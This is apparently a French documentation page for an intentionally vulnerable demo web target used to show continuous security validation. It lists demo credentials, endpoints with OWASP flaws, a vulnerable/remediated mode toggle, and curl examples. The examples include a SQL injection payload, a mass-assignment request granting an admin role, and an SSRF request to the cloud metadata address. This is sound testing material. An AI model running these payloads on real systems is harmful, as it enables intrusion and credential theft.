RESPECT demo target
Mode: VULNERABLE
Cible volontairement vulnérable pour démo de validation continue.
Bascule entre vulnerable et remediated via ?r=fix /
?r=break.
Authentification
| Méthode | Identifiants | Header |
| HTTP Basic |
demo / demo123 |
Authorization: Basic ZGVtbzpkZW1vMTIz |
| Bearer Token |
demo-token-abc123 |
Authorization: Bearer demo-token-abc123 |
| Login form |
POST {email, password} sur ?r=login |
Réponse JSON avec access_token |
Endpoints
| Méthode | URL | Auth | Vuln (mode vulnerable) |
| GET | ?r=health | aucune | — |
| POST | ?r=login | aucune | A05 default creds admin/admin acceptées |
| GET | ?r=me | oui | — |
| PATCH | ?r=update | oui | A01 mass assignment {role:"admin"} accepté |
| GET | ?r=users/2 | oui | A01 BOLA — lit user 2 sans contrôle |
| GET | ?r=admin/users | non | A01 forced browsing — aucun check role |
| GET | ?r=products&id=1' OR '1'='1 | aucune | A03 SQLi — leak message d'erreur |
| GET | ?r=fetch&url=... | oui | A10 SSRF — pas de whitelist |
| GET | ?r=state | aucune | retourne le mode courant |
| GET | ?r=fix | aucune | passe en remediated |
| GET | ?r=break | aucune | passe en vulnerable |
Vulns automatiques selon le mode
| OWASP | Description | Mode vulnerable | Mode remediated |
| A02 | HSTS / TLS | pas de Strict-Transport-Security | HSTS 1 an + includeSubDomains + preload |
| A05 | Security headers | aucun (CSP, X-Frame, X-CTO, Referrer absents) | tous présents |
| A06 | Server header disclosure | Apache/2.4.41 (Ubuntu) | webserver |
Exemples curl
# Tester l'auth Basic
curl -u demo:demo123 https://adnc.fr/respect/?r=me
# Tester le Bearer
curl -H "Authorization: Bearer demo-token-abc123" https://adnc.fr/respect/?r=me
# Voir l'état
curl https://adnc.fr/respect/?r=state
# Bascule remediated (à utiliser pendant la démo)
curl https://adnc.fr/respect/?r=fix
# Bascule vulnerable
curl https://adnc.fr/respect/?r=break
# Tester le BOLA
curl -u demo:demo123 https://adnc.fr/respect/?r=users/2
# Tester le mass assignment
curl -u demo:demo123 -X PATCH -H "Content-Type: application/json" \
-d '{"role":"admin"}' https://adnc.fr/respect/?r=update
# Tester SQLi
curl "https://adnc.fr/respect/?r=products&id=1' OR '1'='1"
# Tester SSRF
curl -u demo:demo123 "https://adnc.fr/respect/?r=fetch&url=http://169.254.169.254/latest/meta-data/"